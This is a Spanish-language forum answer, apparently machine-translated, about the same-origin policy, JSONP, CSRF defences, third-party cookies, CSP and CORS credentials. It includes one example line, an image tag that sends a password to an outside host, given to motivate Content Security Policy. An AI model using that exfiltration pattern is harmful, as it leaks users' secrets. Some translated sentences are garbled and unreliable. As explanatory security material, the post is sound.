No hay "regla del mismo dominio". XHR puede POST o GET a otros dominios, es solo que la respuesta no puede ser leída por el origen solicitante.
JSONP no pasa por alto la misma política de origen. El SOP simplemente dice que las solicitudes anteriores pueden se pueden hacer a otros orígenes, solo que sus respuestas no se pueden leer. JSONP no requiere que se lea la respuesta, simplemente incluye el código de otro dominio para ejecutarse en el contexto del dominio actual. El código no se puede leer, solo se ejecuta en el navegador.
Las solicitudes que pueden causar "efectos secundarios" solo deben hacerse como POST. Al restringir los XHR al mismo dominio en el código del lado del servidor, se pueden detener las acciones JSON POST que no se realizan en el dominio del sitio en el que se encuentra, lo que puede mitigar CSRF . Para que esto sea efectivo, debe haber verificaciones del lado del servidor de Origin
encabezado o personalizado, como X-Requested-With
, ya que los encabezados personalizados no pueden enviarse a varios dominios sin CORS . Esto se debe a que, si bien la lectura de la respuesta está protegida por la Política del mismo origen , no existe ninguna restricción de la cruz real. La solicitud POST de dominio se realizó en primer lugar.
Con la mayoría de los navegadores modernos es posible desactivar cookies de terceros . Esto evitará los ataques CSRF que se realizan a través de AJAX, asumiendo que el navegador no está enviando cookies configuradas previamente para esos dominios. Chrome parece bloquear completamente las cookies de terceros si la configuración está habilitada: las cookies no se aceptarán ni se enviarán si el dominio es un tercero, algunos navegadores aún pueden enviar las cookies si fueron aceptadas previamente como cookies de origen.
No ayudará en su ejemplo en el que el sitio comprometido puede enviar datos a otro sitio usando <img src="//example.com/?password=1234" />
, sin embargo, un Content Security Policy se puede implementar si desea este comportamiento, ya que las fuentes externas se pueden bloquear en el nivel del navegador.
Hay soporte dentro de CORS para determinar si se aceptan cookies entre dominios ( Access-Control-Allow-Credentials
). Esto también cubre otros métodos de autenticación, en lugar de solo cookies. Nuevamente, esto solo afecta si el dominio solicitante puede leer la respuesta, no si puede hacerse en primer lugar.